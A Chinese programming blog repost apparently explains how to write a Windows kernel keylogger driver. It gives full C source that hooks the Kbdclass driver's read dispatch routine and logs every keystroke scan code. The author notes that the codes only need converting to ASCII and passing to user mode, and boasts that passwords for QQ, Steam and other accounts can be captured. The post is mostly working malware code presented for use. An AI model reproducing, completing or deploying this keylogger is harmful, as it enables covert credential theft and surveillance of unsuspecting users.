Windows驱动之编写键盘记录器
生活随笔
收集整理的這篇文章主要介紹了
Windows驱动之编写键盘记录器
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
【1】方式:替換Kbdclass驅動的ReadFile IRP函數處理指針
編寫.sys文件:
頭文件:
#pragma once //只編譯1次頭文件 #include <ntddk.h> //驅動函數頭文件,類似于Windows.h #include <wdm.h> //WDK函數頭文件,一般編寫驅動程序時,與ntddk.h一起包含 #include <tchar.h> //UNICODE和ANSI字符串頭文件 #include <ntstrsafe.h> //安全字符串函數頭文件 #include <Ntddkbd.h> //掃描碼結構體需要包含的頭文件 #include <Wdmsec.h> //創建通信設備對象(不用管理員權限就能打開) #pragma comment(lib,"ntstrsafe.lib") //安全字符串函數庫文件//#define KBD_DRIVER_NAME L"\\Driver\\Kbdclass" #define KBD_DRIVER_NAME L"\\Driver\\Kbdclass" //調用延遲函數的延遲長度的宏 #define DELAY_ONE_MILLISECOND (-10 * 1000) //1毫秒 //可通過[驅動對象DRIVER_NAME名稱路徑]獲得[該驅動對象的DRIVER_OBJECT指針] NTSTATUS ObReferenceObjectByName(PUNICODE_STRING ObjectName,ULONG Attributes,PACCESS_STATE AccessState,ACCESS_MASK DesiredAccess,POBJECT_TYPE ObjectType,KPROCESSOR_MODE AccessMode,PVOID ParseContext,PVOID *Object ); VOID DriverUnload(PDRIVER_OBJECT pDriverObj); NTSTATUS OpenTagDevice(wchar_t* DriObj); NTSTATUS Read(PDEVICE_OBJECT pDevObj,PIRP pIrp ); //讀IRP請求處理函數 NTSTATUS c2pReadComplete (IN PDEVICE_OBJECT DeviceObject, //目標設備對象IN PIRP Irp, //IRP指針IN PVOID Context //該自定義參數為:過濾設備對象 ); 源文件:
#include "Dev.h" extern POBJECT_TYPE* IoDriverObjectType; //用于調用ObReferenceObjectByName API時,獲取Kbdclass驅動對象指針,所帶入的[對象類型]//由于是指針,所以帶入時,為:*IoDriverObjectType; PDRIVER_OBJECT gDriverObject = NULL; //本驅動程序的[驅動對象]PDRIVER_OBJECT gTagDriverObj = NULL; //目標[驅動對象] PDRIVER_DISPATCH YuanReadFunc = NULL; //原目標[驅動對象]的函數指針ULONG gIrpCount = 0;NTSTATUS DriverEntry (PDRIVER_OBJECT DriverObject, //本驅動程序的[驅動對象]PUNICODE_STRING RegistryPath //此驅動在注冊表中的路徑. ) {KdPrint(("Aaron::DriverEntry\n"));NTSTATUS status = STATUS_SUCCESS;//保存本驅動程序的[驅動對象]到全局變量gDriverObject = DriverObject;//取目標驅動對象status = OpenTagDevice(KBD_DRIVER_NAME);if (!NT_SUCCESS(status))return status;//指針變量volatile PVOID TagFunc = gTagDriverObj->MajorFunction + IRP_MJ_READ;YuanReadFunc = InterlockedExchangePointer(TagFunc, Read);//設置[驅動卸載]函數指針DriverObject->DriverUnload = DriverUnload;//返回最終狀態return status; } NTSTATUS OpenTagDevice(wchar_t* DriObj) {NTSTATUS status;UNICODE_STRING DriName;RtlInitUnicodeString(&DriName, DriObj);PDRIVER_OBJECT TagDri;status = ObReferenceObjectByName(&DriName, OBJ_CASE_INSENSITIVE, NULL, 0, *IoDriverObjectType, KernelMode, NULL,&TagDri);if (!NT_SUCCESS(status))return status;ObDereferenceObject(TagDri);gTagDriverObj = TagDri;return status; } //卸載函數 VOID DriverUnload(PDRIVER_OBJECT pDriverObj) {//由于卸載時,一般有一個未完成的IRP請求,當這個IRP完成時,會執行c2pReadComplete完成例程,但完成例程不存在了//導致藍屏,所以要等待這個IRP完成,然后卸載.volatile PVOID TagFunc = gTagDriverObj->MajorFunction + IRP_MJ_READ;InterlockedExchangePointer(TagFunc, YuanReadFunc);//將32位擴展至64位變量中.LARGE_INTEGER lDelay = RtlConvertLongToLargeInteger(10 * DELAY_ONE_MILLISECOND); //1毫秒 × 100 = 100毫秒,1000毫秒才等于1秒//得到不公開的線程結構體指針PRKTHREAD CurrentThread = KeGetCurrentThread();//把當前線程設置為[低實時模式],以便讓它的運行盡量少影響其他程序 16 (0~31)KeSetPriorityThread(CurrentThread, LOW_REALTIME_PRIORITY);//等待IRP完成,就要用一個變量記錄是否無IRP數量了.while (gIrpCount)KeDelayExecutionThread(KernelMode, FALSE, &lDelay);KdPrint(("Aaron::驅動程序卸載成功!\n")); } //ReadFile處理函數 NTSTATUS Read( PDEVICE_OBJECT pDevObj, PIRP pIrp ) {gIrpCount++;PIO_STACK_LOCATION IrpSp = IoGetCurrentIrpStackLocation(pIrp);//IrpSp->Context = 這個是自定義參數IrpSp->Control = SL_INVOKE_ON_SUCCESS | SL_INVOKE_ON_ERROR | SL_INVOKE_ON_CANCEL;IrpSp->CompletionRoutine = (PIO_COMPLETION_ROUTINE)c2pReadComplete;return YuanReadFunc(pDevObj, pIrp); } //讀IRP完成例程 NTSTATUS c2pReadComplete (IN PDEVICE_OBJECT DeviceObject, //目標設備對象IN PIRP Irp, //IRP指針IN PVOID Context //該自定義參數為:過濾設備對象 ) {PIO_STACK_LOCATION IrpSp; //I/O堆棧指針ULONG_PTR buf_len = 0;PKEYBOARD_INPUT_DATA buf = NULL;size_t i;//獲取當前I/O堆棧指針IrpSp = IoGetCurrentIrpStackLocation(Irp);//如果IRP請求是成功的if (NT_SUCCESS(Irp->IoStatus.Status)){//得到掃描碼緩沖區buf = Irp->AssociatedIrp.SystemBuffer;buf_len = Irp->IoStatus.Information;ULONG_PTR aaKeyCount = buf_len / sizeof(KEYBOARD_INPUT_DATA);for (ULONG_PTR i = 0; i < aaKeyCount; i++){DbgPrint("鍵盤碼:%02x\n",buf->MakeCode);buf++;}}if (Irp->PendingReturned)IoMarkIrpPending(Irp);//IRP總數-- gIrpCount--;return Irp->IoStatus.Status; }
已經把掃描碼給讀出來的,自己轉化成ASCII碼,與應用層軟件通信即可.
QQ、Steam等等的密碼都可以獲取到.(網銀除外)
關于有個小問題:
這里設置IRP請求的完成例程時,不是直接調用的IoSetCompletionRoutine,而是手動設置上去的完成例程.
原因是IoSetCompletionRoutine好像是幫設備棧的下一個設備對象的I/O堆棧指針中的完成例程,導致完成例程函數
不執行.
【效果】
總結
以上是生活随笔為你收集整理的Windows驱动之编写键盘记录器的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 直播短视频带货完美运营APP源码 购物直
- 下一篇: 人物关系知识图谱echarts斗破苍穹